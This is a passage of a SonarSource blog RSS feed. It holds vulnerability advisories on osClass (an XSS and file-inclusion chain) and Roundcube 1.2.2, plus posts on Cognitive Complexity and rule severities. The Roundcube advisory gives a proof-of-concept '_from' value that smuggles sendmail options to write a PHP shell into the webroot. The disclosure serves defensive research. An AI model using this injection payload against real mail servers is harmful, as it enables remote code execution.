38            Plugins::install(Params::getParam(&apos;plugin&apos;));&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Not only that arbitrary files can be included when an administrator visits a malicious link, but also this will install the inclusion &lt;strong&gt;persistently&lt;/strong&gt; in the database, as shown in the following code summary.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;oc-includes/osclass/classes/Plugins.php&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;207    static function install($path) {
208        $data[&apos;s_value&apos;] = osc_installed_plugins();
209        $plugins_list    = unserialize($data[&apos;s_value&apos;]);
210        ⋮
211        $plugins_list[]  = $path;
212        osc_set_preference(&apos;installed_plugins&apos;, serialize($plugins_list));&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Creating the Chain&lt;/h2&gt;&lt;p&gt;By using the cross-site scripting vulnerability as an actuator, it is possible to prepare a link with a JavaScript payload that in the end automatically executes arbitrary PHP code on the targeted osClass web server. When an authenticated administrator opens the prepared link, the attached JavaScript code is reflected and executed in his browser, rides the administrator session to upload a malicious image with ajax, and then includes this image into PHP via the file inclusion vulnerability.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;h2&gt;&lt;br/&gt;&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;What&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2016/11/20&lt;/td&gt;&lt;td&gt;First contact with vendor&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2016/11/21&lt;/td&gt;&lt;td&gt;Issues fixed in GitHub by vendor&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2016/12/13&lt;/td&gt;&lt;td&gt;Vendor released fixed version&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;&lt;br/&gt;&lt;/h2&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;We detected a wide range of issues in osClass, allowing to choose an &lt;em&gt;escalation chain&lt;/em&gt; from these vulnerabilities. Without automated analysis, the detection and chain generation takes a large amount of time. We would like to thank the osClass Team for quickly fixing the reported issues!&lt;/p&gt;&lt;h3&gt;Related Posts&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/osclass-remote-code-execution-via-image-file/&quot;&gt;SugarCRM&amp;#x27;s Security Diet - Multiple Vulnerabilities&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/osclass-remote-code-execution-via-image-file/&quot;&gt;The Hidden Flaws of Archives in Java&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/osclass-remote-code-execution-via-image-file/&quot;&gt;Drive By RCE Exploit in Pimcore 6.2.0&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Cognitive Complexity, Because Testability != Understandability]]></title><description><![CDATA[Cyclomatic Complexity works very well for measuring testability, but not for maintainability. That's why we're introducing Cognitive Complexity, which you'll begin seeing in upcoming versions of our language analyzers.]]></description><link>https://www.sonarsource.com/blog/cognitive-complexity-because-testability-understandability</link><guid isPermaLink="false">5f7544aa-d977-5178-a236-b10478d5b1f3</guid><dc:creator><![CDATA[G. Ann Campbell]]></dc:creator><pubDate>Wed, 07 Dec 2016 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Thomas J. McCabe introduced Cyclomatic Complexity in 1976 as a way to guide programmers in writing methods that &amp;quot;are both testable and maintainable&amp;quot;. At SonarSource, we believe Cyclomatic Complexity works very well for measuring testability, but not for maintainability. That&amp;#x27;s why we&amp;#x27;re introducing Cognitive Complexity, which you&amp;#x27;ll begin seeing in upcoming versions of our language analyzers. We&amp;#x27;ve designed it to give you a good relative measure of how difficult the control flow of a method is to &lt;em&gt;understand&lt;/em&gt;.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Cyclomatic Complexity doesn&amp;#x27;t measure maintainability&lt;/h2&gt;&lt;p&gt;To get started let&amp;#x27;s look at a couple of methods:&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;int sumOfPrimes(int max) {              // +1
  int total = 0;
  OUT: for (int i = 1; i &lt;= max; ++i) { // +1
    for (int j = 2; j &lt; i; ++j) {       // +1
      if (i % j == 0) {                 // +1
        continue OUT;
      }
    }
    total += i;
  }
  return total;
}                  // Cyclomatic Complexity 4&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;String getWords(int number) {   // +1
    switch (number) {
      case 1:                   // +1
        return &quot;one&quot;;
      case 2:                   // +1
        return &quot;a couple&quot;;
      default:                  // +1
        return &quot;lots&quot;;
    }
  }        // Cyclomatic Complexity 4&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;These two methods share the same Cyclomatic Complexity, but clearly not the same maintainability. Of course, this comparison might not be entirely fair; even McCabe acknowledged in his original paper that the treatment of &lt;code&gt;case&lt;/code&gt; statements in a &lt;code&gt;switch&lt;/code&gt;didn&amp;#x27;t seem quite right:&lt;/p&gt;&lt;blockquote&gt;The only situation in which this limit [of 10 per method] has seemed unreasonable is when a large number of independent cases followed a selection function (a large case statement)...&lt;footer&gt;&lt;cite&gt;&lt;/cite&gt;&lt;/footer&gt;&lt;/blockquote&gt;&lt;p&gt;On the other hand, that&amp;#x27;s exactly the problem with Cyclomatic Complexity. The scores certainly tell you how many test cases are needed to cover a given method, but they aren&amp;#x27;t always &lt;em&gt;fair&lt;/em&gt; from a maintainability standpoint. Further, because even the simplest method gets a Cyclomatic Complexity score of 1, a large domain class can have the same Cyclomatic Complexity as a small class full of intense logic. And at the application level, studies have shown that Cyclomatic Complexity correlates to lines of code, so it really doesn&amp;#x27;t tell you anything new.&lt;/p&gt;&lt;h2&gt;Cognitive Complexity to the rescue!&lt;/h2&gt;&lt;p&gt;That&amp;#x27;s why we&amp;#x27;ve formulated Cognitive Complexity, which attempts to put a number on how difficult the control flow of a method is to understand, and therefore to maintain.&lt;br/&gt;&lt;br/&gt;I&amp;#x27;ll get to some details in a minute, but first I&amp;#x27;d like to talk a little more about the motivations. Obviously, the primary goal is to calculate a score that&amp;#x27;s an intuitively &amp;quot;fair&amp;quot; representation of maintainability. In doing so, however, we were very aware that if &lt;em&gt;we&lt;/em&gt;measure it, &lt;em&gt;you&lt;/em&gt; will try to improve it. And because of that, we want Cognitive Complexity to incent good, clean coding practices by incrementing for code constructs that take extra effort to understand, and by ignoring structures that make code easier to read.&lt;/p&gt;&lt;h2&gt;Basic criteria&lt;/h2&gt;&lt;p&gt;We boiled that guiding principle down into three simple rules:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Increment when there is a break in the linear (top-to-bottom, left-to-right) flow of the code&lt;/li&gt;&lt;li&gt;Increment when structures that break the flow are nested&lt;/li&gt;&lt;li&gt;Ignore &amp;quot;shorthand&amp;quot; structures that readably condense multiple lines of code into one&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Examples revisited&lt;/h2&gt;&lt;p&gt;With those rules in mind, let&amp;#x27;s take another look at those first two methods:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;
                                // Cyclomatic Complexity    Cognitive Complexity
  String getWords(int number) { //          +1
    switch (number) {           //                                  +1
      case 1:                   //          +1
        return &quot;one&quot;;
      case 2:                   //          +1
        return &quot;a couple&quot;;
      default:                  //          +1
        return &quot;lots&quot;;
    }
  }                             //          =4                      =1&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;&lt;br/&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;As I mentioned, one of the biggest beefs with Cyclomatic Complexity has been its treatment of &lt;code&gt;switch&lt;/code&gt; statements. Cognitive Complexity, on the other hand, only increments once for the entire &lt;code&gt;switch&lt;/code&gt; structure, &lt;code&gt;case&lt;/code&gt;s and all. Why? In short, because &lt;code&gt;switch&lt;/code&gt;es are &lt;em&gt;easy&lt;/em&gt;, and Cognitive Complexity is about estimating how hard or easy control flow is to understand.&lt;br/&gt;&lt;br/&gt;On the other hand, Cognitive Complexity increments in a familiar way for the other control flow structures: &lt;code&gt;for&lt;/code&gt;, &lt;code&gt;while&lt;/code&gt;, &lt;code&gt;do while&lt;/code&gt;, ternary operators, &lt;code&gt;if/#if/#ifdef/...&lt;/code&gt;, &lt;code&gt;else if/elsif/elif/...&lt;/code&gt;, and &lt;code&gt;else&lt;/code&gt;, as well as for &lt;code&gt;catch&lt;/code&gt; statements. Additionally, it increments for jumps to labels (&lt;code&gt;goto&lt;/code&gt;, &lt;code&gt;break&lt;/code&gt;, and &lt;code&gt;continue&lt;/code&gt;) and for each level of control flow nesting:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;br/&gt;&lt;/code&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;                                // Cyclomatic Complexity    Cognitive Complexity
int sumOfPrimes(int max) {              // +1
  int total = 0;
  OUT: for (int i = 1; i &lt;= max; ++i) { // +1                       +1
    for (int j = 2; j &lt; i; ++j) {       // +1                       +2 (nesting=1)
      if (i % j == 0) {                 // +1                       +3 (nesting=2)
        continue OUT;                   //                          +1
      }
    }
    total += i;
  }
  return total;
}                               //         =4                       =7&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;&lt;br/&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;As you can see, Cognitive Complexity takes into account the things that make this method harder to understand than &lt;code&gt;getWords&lt;/code&gt; - the nesting and the &lt;code&gt;continue&lt;/code&gt; to a label. So that while the two methods have equal Cyclomatic Complexity scores, their Cognitive Complexity scores clearly reflect the dramatic difference between them in understandability.&lt;br/&gt;&lt;br/&gt;In looking at these examples, you may have noticed that Cognitive Complexity doesn&amp;#x27;t increment for the method itself. That means that simple domain classes have a Cognitive Complexity of zero:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;br/&gt;&lt;/code&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;
                              // Cyclomatic Complexity       Cognitive Complexity
public class Fruit {

  private String name;

  public Fruit(String name) { //        +1                          +0
    this.name = name;
  }

  public void setName(String name) { // +1                          +0
    this.name = name;
  }

  public String getName() {   //        +1                          +0
    return this.name;
  }
}                             //        =3                          =0&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;&lt;br/&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;So now class-level metrics become meaningful. You can look at a list of classes and their Cognitive Complexity scores and know that when you see a high number, it really means there&amp;#x27;s a lot of logic in the class, not just a lot of methods.&lt;/p&gt;&lt;h2&gt;Getting started with Cognitive Complexity&lt;/h2&gt;&lt;p&gt;At this point, you know most of what you need to get started with Cognitive Complexity. There are some differences in how boolean operators are counted, but I&amp;#x27;ll let you &lt;a href=&quot;http://redirect.sonarsource.com/doc/cognitive-complexity.html&quot;&gt;read the white paper&lt;/a&gt; for those details. Hopefully, you&amp;#x27;re eager to start using Cognitive Complexity, and wondering when tools to measure it will become available. &lt;br/&gt;&lt;br/&gt;We&amp;#x27;ll start by adding method-level Cognitive Complexity rules in each language, similar to the existing ones for Cyclomatic Complexity. You&amp;#x27;ll see this first in the mainline languages: Java, JavaScript, C#, and C/C++/Objective-C. At the same time, we&amp;#x27;ll correct the implementations of the existing method level &amp;quot;Cyclomatic Complexity&amp;quot; rules to truly measure Cyclomatic Complexity (right now, they&amp;#x27;re a combination of Cyclomatic and Essential Complexity.) &lt;br/&gt;&lt;br/&gt;Eventually, we&amp;#x27;ll probably add class/file-level Cognitive Complexity rules and metrics. But we&amp;#x27;re starting with Baby Steps.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Roundcube 1.2.2: Command Execution via Email]]></title><description><![CDATA[In this post, we show how a malicious user can remotely execute arbitrary commands on the underlying operating system, simply by writing an email in Roundcube 1.2.2 (>= 1.0). This vulnerability is highly critical because all default installations are affected.]]></description><link>https://www.sonarsource.com/blog/roundcube-command-execution-via-email</link><guid isPermaLink="false">8d0d3d5f-ea7f-528b-ac43-95a09d1cc63e</guid><dc:creator><![CDATA[Robin Peraglie]]></dc:creator><pubDate>Tue, 06 Dec 2016 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.roundcube.net/&quot;&gt;Roundcube&lt;/a&gt; is a widely distributed open-source webmail software used by many organizations and companies around the globe. In this post, we show how a malicious user can remotely execute arbitrary commands on the underlying operating system, simply by writing an email in Roundcube 1.2.2 (&amp;gt;= 1.0). This vulnerability is &lt;strong&gt;highly critical&lt;/strong&gt; because all default installations are affected.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The mirror on SourceForge counts more than 260,000 downloads for Roundcube in the last 12 months&lt;a href=&quot;https://blog.ripstech.com/2016/roundcube-command-execution-via-email/#fn:0&quot;&gt;1&lt;/a&gt; which is only a small fraction of the actual users. Once Roundcube is installed on a server, it provides a web interface for authenticated users to send and receive emails with their web browser.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Requirements&lt;/h2&gt;&lt;p&gt;The vulnerability has the following requirements for exploitation:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Roundcube must be configured to use PHP’s &lt;code&gt;mail()&lt;/code&gt; function (by default, &lt;em&gt;if no SMTP was specified&lt;/em&gt;)&lt;/li&gt;&lt;li&gt;PHP’s &lt;code&gt;mail()&lt;/code&gt; function is configured to use sendmail (by default, see &lt;em&gt;sendmail_path&lt;/em&gt;)&lt;/li&gt;&lt;li&gt;PHP is configured to have &lt;code&gt;safe_mode&lt;/code&gt; turned off (by default, see &lt;em&gt;safe_mode&lt;/em&gt;)&lt;/li&gt;&lt;li&gt;An attacker must know or guess the absolute path of the webroot&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;These requirements are not particularly demanding which in turn means that there were a lot of vulnerable systems in the wild.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Description&lt;/h2&gt;&lt;p&gt;In Roundcube 1.2.2 and earlier, user-controlled input flows unsanitized into the fifth argument of a call to PHP’s built-in function &lt;code&gt;mail()&lt;/code&gt; which is documented as &lt;a href=&quot;https://www.saotn.org/exploit-phps-mail-get-remote-code-execution/&quot;&gt;critical&lt;/a&gt; in terms of security. The problem is that the invocation of the &lt;code&gt;mail()&lt;/code&gt; function will cause PHP to execute the sendmail program. The fifth argument allows passing additional parameters to this execution which allows a configuration of Sendmail. Since sendmail offers the &lt;code&gt;-X&lt;/code&gt; option to log all mail traffic in a file, an attacker can abuse this option and spawn a malicious PHP file in the webroot directory of the attacked server. The following code lines trigger the vulnerability.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;program/steps/mail/sendmail.inc&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;90    $from = rcube_utils::get_input_value(&apos;_from&apos;, rcube_utils::INPUT_POST, true, $message_charset);
91    ⋮
92    $sent = $RCMAIL-&gt;deliver_message($MAIL_MIME, $from, $mailto,$smtp_error, $mailbody_file, $smtp_opts);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Here, the value of the POST parameter &lt;code&gt;_from&lt;/code&gt; is fetched and Roundcube’s &lt;code&gt;deliver_message()&lt;/code&gt; method is invoked with the value used as second argument &lt;code&gt;$from&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;program/lib/Roundcube/rcube.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1578    public function deliver_message(&amp;$message, $from, $mailto, &amp;$error, &amp;$body_file = null, $options = null) {
1579        ⋮
1580        if (filter_var(ini_get(&apos;safe_mode&apos;), FILTER_VALIDATE_BOOLEAN))
1581            $sent = mail($to, $subject, $msg_body, $header_str);
1582        else
1583            $sent = mail($to, $subject, $msg_body, $header_str, &quot;-f$from&quot;);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This method will then pass the &lt;code&gt;$from&lt;/code&gt; parameter to a call of the &lt;code&gt;mail()&lt;/code&gt; function. The idea is to pass a custom &lt;code&gt;from&lt;/code&gt; header to the sendmail program via the &lt;code&gt;-f&lt;/code&gt; option.&lt;/p&gt;&lt;h3&gt;Insufficient Sanitization&lt;/h3&gt;&lt;p&gt;An interesting part is that it seems as if the &lt;code&gt;from&lt;/code&gt; e-mail address is filtered beforehand with a regular expression. Basically, the &lt;code&gt;$from&lt;/code&gt; parameter is expected to have no whitespaces which would limit the possibility to attach other parameters behind the &lt;code&gt;-f&lt;/code&gt;parameter. Using whitespace constants such as &lt;code&gt;$IFS&lt;/code&gt; or injecting new shell commands &lt;code&gt;`&lt;/code&gt; does not succeed at this point. However, there is a logical flaw in the application that causes the sanitization to fail.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;program/steps/mail/sendmail.inc&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;104    else if ($from_string = rcmail_email_input_format($from)) {
105        if (preg_match(&apos;/(\S+@\S+)/&apos;, $from_string, $m))
106            $from = trim($m[1],&apos;&lt;&gt;&apos;);
107        else
108            $from = null;
109    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In line 105, an email is extracted from the user-controlled variable &lt;code&gt;$from&lt;/code&gt; that contains no whitespaces. However, this extraction only takes place when the &lt;code&gt;rcmail_email_input_format()&lt;/code&gt; function returns a value equivalent to TRUE. In the following, we will examine this function closely.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;program/steps/mail/sendmail.inc&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;850    function rcmail_email_input_format($mailto, $count=false, $check=true)
851    {
852        global $RCMAIL, $EMAIL_FORMAT_ERROR, $RECIPIENT_COUNT;
853        // simplified email regexp, supporting quoted local part
854        $email_regexp = &apos;(\S+|(&quot;;[^&quot;;]+&quot;;))@\S+&apos;;
855        ⋮
856        // replace new lines and strip ending &apos;, &apos;, make address input more valid
857        $mailto = trim(preg_replace($regexp, $replace, $mailto));
858        $items  = rcube_utils::explode_quoted_string($delim, $mailto);
859        $result = array();
860        foreach ($items as $item) {
861            $item = trim($item);
862            // address in brackets without name (do nothing)
863            if (preg_match(&apos;/^&lt;&apos;.$email_regexp.&apos;&gt;$/&apos;, $item)) {
864                $item     = rcube_utils::idn_to_ascii(trim($item, &apos;&lt;&gt;&apos;));
865                $result[] = $item;
866            }
867            ⋮
868            else if (trim($item)) {
869                continue;
870            }
871            ⋮
872        }
873        if ($count) {
874            $RECIPIENT_COUNT += count($result);
875        }
876        return implode(&apos;, &apos;, $result);
877    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The function uses another regular expression in line 863 which requires that the line ends (&lt;code&gt;$&lt;/code&gt;) right after the email match. A payload used by an attacker does not have to match this regex and therefore the array &lt;code&gt;$result&lt;/code&gt; will stay empty after the &lt;code&gt;foreach&lt;/code&gt; loop. In this case, the &lt;code&gt;implode()&lt;/code&gt; function in line 876 will return an empty string (equal to FALSE) and the &lt;code&gt;$from&lt;/code&gt; variable is &lt;strong&gt;not&lt;/strong&gt; altered nor sanitized.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Proof of Concept&lt;/h2&gt;&lt;p&gt;When an email is sent with Roundcube, the HTTP request can be intercepted and altered. Here, the &lt;code&gt;_from&lt;/code&gt; parameter can be modified in order to place a malicious PHP file on the file system.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;example@example.com -OQueueDirectory=/tmp -X/var/www/html/rce.php&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This allows an attacker to spawn a shell file &lt;em&gt;rce.php&lt;/em&gt; in the web root directory with the contents of the &lt;code&gt;_subject&lt;/code&gt; parameter that can contain PHP code. After performing the request, a file with the following content is created:&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 1    04731 &gt;&gt;&gt; &quot;Recipient names must be specified&quot;
 2    04731 &lt;&lt;&lt; To: squinty@localhost
 3    04731 &lt;&lt;&lt; Subject: &lt;?php phpinfo(); ?&gt;
 4    04731 &lt;&lt;&lt; X-PHP-Originating-Script: 1000:rcube.php
 5    04731 &lt;&lt;&lt; MIME-Version: 1.0
 6    04731 &lt;&lt;&lt; Content-Type: text/plain; charset=US-ASCII;
 7    04731 &lt;&lt;&lt;  format=flowed
 8    04731 &lt;&lt;&lt; Content-Transfer-Encoding: 7bit
 9    04731 &lt;&lt;&lt; Date: So, 20 Nov 2016 04:02:52 +0100
10    04731 &lt;&lt;&lt; From: example@example.com -OQueueDirectory=/tmp
11    04731 &lt;&lt;&lt;  -X/var/www/html/rce.php
12    04731 &lt;&lt;&lt; Message-ID: &lt;390a0c6379024872a7f0310cdea24900@localhost&gt;
13    04731 &lt;&lt;&lt; X-Sender: example@example.com -OQueueDirectory=/tmp
14    04731 &lt;&lt;&lt;  -X/var/www/html/rce.php
15    04731 &lt;&lt;&lt; User-Agent: Roundcube Webmail/1.2.2
16    04731 &lt;&lt;&lt;
17    04731 &lt;&lt;&lt; Funny e-mail message
18    04731 &lt;&lt;&lt; [EOF]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Since the email data is unencoded, the subject parameter will be reflected in plaintext which allows the injection of PHP tags into the shell file.&lt;/p&gt;&lt;h3&gt;Timeline&lt;/h3&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;What&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2016/11/21&lt;/td&gt;&lt;td&gt;First contact with vendor&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2016/11/22&lt;/td&gt;&lt;td&gt;Vendor fixes vulnerability on GitHub&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2016/11/28&lt;/td&gt;&lt;td&gt;Vendor agrees to coordinated disclosure&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2016/11/28&lt;/td&gt;&lt;td&gt;Vendor releases updated version Roundcube 1.2.3&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h3&gt;Summary&lt;/h3&gt;&lt;p&gt;Roundcube 1.2.2 is resistant against many attack vectors and a large community works on the software continuously together securing the application. However, the vulnerability described in this post could slip through and is an edge-case due to its rarity. With the aid of automated testing, it is not only possible to detect such edge-cases, but it allows to save human resources and therefore focus on different aspects in the development process of a secure web application.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We would like to thank the Roundcube team for the very quick fix after just one day, and the new release made available only after one week! This is a very impressive and professional response towards security issues.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[We Are Adjusting Rules Severities]]></title><description><![CDATA[With the release of SonarQube 5.6, we introduced the SonarQube Quality Model, which pulls Bugs and Vulnerabilities out into separate categories to give them the prominence they deserve. Now we're tackling the other half of the job: "sane-itizing" rule severities, because not every bug is Critical.]]></description><link>https://www.sonarsource.com/blog/we-are-adjusting-rules-severities</link><guid isPermaLink="false">0277e2c0-3b06-5f5c-8849-99ef8d847e31</guid><dc:creator><![CDATA[G. Ann Campbell]]></dc:creator><pubDate>Thu, 08 Sep 2016 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;With the release of SonarQube 5.6, we introduced the &lt;a href=&quot;http://www.sonarqube.org/bugs-and-vulnerabilities-are-1st-class-citizens-in-sonarqube-quality-model-along-with-code-smells/&quot;&gt;SonarQube Quality Model&lt;/a&gt;, which pulls Bugs and Vulnerabilities out into separate categories to give them the prominence they deserve. Now we&amp;#x27;re tackling the other half of the job: &amp;quot;sane-itizing&amp;quot; rule severities, because not every bug is Critical.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Before the SonarQube Quality Model, we had no way of bringing attention to bugs and security vulnerabilities except to give them high severity ratings. So all rules with a Blocker or Critical severity were related to reliability (bugs) or security (vulnerabilities), and vice versa as a tautology. That made sense before the SonarQube Quality Model, but it doesn&amp;#x27;t now. Now, just being a Bug is enough to draw the right attention to an issue. Now, having every Bug or Vulnerability at the Blocker or Critical level is actually a distraction.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So we&amp;#x27;re fixing it. We&amp;#x27;ve reclassified the severity on every single rule specification in the &lt;a href=&quot;https://jira.sonarsource.com/browse/RSPEC-3689?filter=10375&quot;&gt;RSpec repository&lt;/a&gt;. The changes to existing reliability/bug rules are reflected in version 4.2 of the Java plugin, and future releases of Java and other languages should reflect the rest of the necessary changes. In some cases, the changes are significant (perhaps even startling), so it makes sense to explain the thinking.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The first thing to know is that the reclassifications are done based on a truth table:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/0067d333-7957-4187-9562-fc51bf38cae7/body-377c688a0d90c45b9485aecb5d342c40afedb1c4_table.png&quot; /&gt;&lt;p&gt;For each rule, we first asked ourselves: &lt;strong&gt;What&amp;#x27;s the worst thing that can reasonably happen&lt;/strong&gt; as a result of an issue raised by this rule, factoring in Murphy&amp;#x27;s Law without predicting Armageddon? &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With the worst thing in mind, the rest is easy. For bugs we evaluate impact and severity with these questions:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Impact:&lt;/strong&gt; Will the &amp;quot;worst thing&amp;quot; take down the application (either immediately or eventually), or corrupt stored data? If the answer is &amp;quot;yes&amp;quot;, impact is high.&lt;br/&gt;&lt;strong&gt;Likelihood:&lt;/strong&gt; What is the probability the worst will happen?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For vulnerabilities, the questions are:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Impact:&lt;/strong&gt; Could the exploitation of the vulnerability result in significant damage to your assets or your users?&lt;br/&gt;&lt;strong&gt;Likelihood:&lt;/strong&gt; What is the probability a hacker will be able to exploit the issue?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;And for code smells:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Impact:&lt;/strong&gt; Could the code smell lead a maintainer to introduce a bug?&lt;br/&gt;&lt;strong&gt;Likelihood:&lt;/strong&gt; What is the probability the worst will happen?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;That&amp;#x27;s it. Rule severities are now transparent and easy to understand. And as these changes roll out in new versions of the language plugins, severity inflation should quickly become a thing of the past!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[SonarAnalyzer for C#: The Rule Engine You Want to Use]]></title><description><![CDATA[If you’ve been following the releases of the Scanner for MsBuild and the C# plugin over the last two years, you must have noticed that we significantly improved our integration with the build tool and at the same time added a lot of new rules. Also, we introduced SonarLint for Visual Studio, a new tool to analyze code inside the IDE. With these steps completed we are deprecating the SonarQube ReSharper plugin to be able to provide a consistent, high-level experience among our tools.]]></description><link>https://www.sonarsource.com/blog/sonaranalyzer-for-c-the-rule-engine-you-want-to-use</link><guid isPermaLink="false">b1005478-d1b6-5d0f-8989-612955b470ed</guid><dc:creator><![CDATA[Sonar]]></dc:creator><pubDate>Thu, 01 Sep 2016 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Editor&amp;#x27;s Note: This blog post contains outdated information. You can find the latest on &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube here&lt;/a&gt; and &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;SonarLint here&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you’ve been following the releases of the &lt;a href=&quot;http://docs.sonarqube.org/display/SCAN/Analyzing+with+SonarQube+Scanner+for+MSBuild&quot;&gt;Scanner for MsBuild&lt;/a&gt; and the &lt;a href=&quot;http://docs.sonarqube.org/display/PLUG/C%23+Plugin&quot;&gt;C# plugin&lt;/a&gt; over the last two years, you must have noticed that we significantly improved our integration with the build tool and at the same time added a lot of new rules. Also, we introduced SonarLint for Visual Studio, a new tool to analyze code inside the IDE. With these steps completed we are deprecating the SonarQube ReSharper plugin to be able to provide a consistent, high-level experience among our tools.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the last couple years we’ve worked in close collaboration with Microsoft to make our products fit easily into the .NET ecosystem. The goal of the collaboration was two-fold: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;integrate the SonarQube Scanner for MsBuild seamlessly into the build process&lt;/li&gt;&lt;li&gt;develop the Connected Mode in SonarLint for Visual Studio to propagate analysis settings from SonarQube to Visual Studio.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The improvements to the SonarQube Scanner for MsBuild resulted in pre- and post-build command 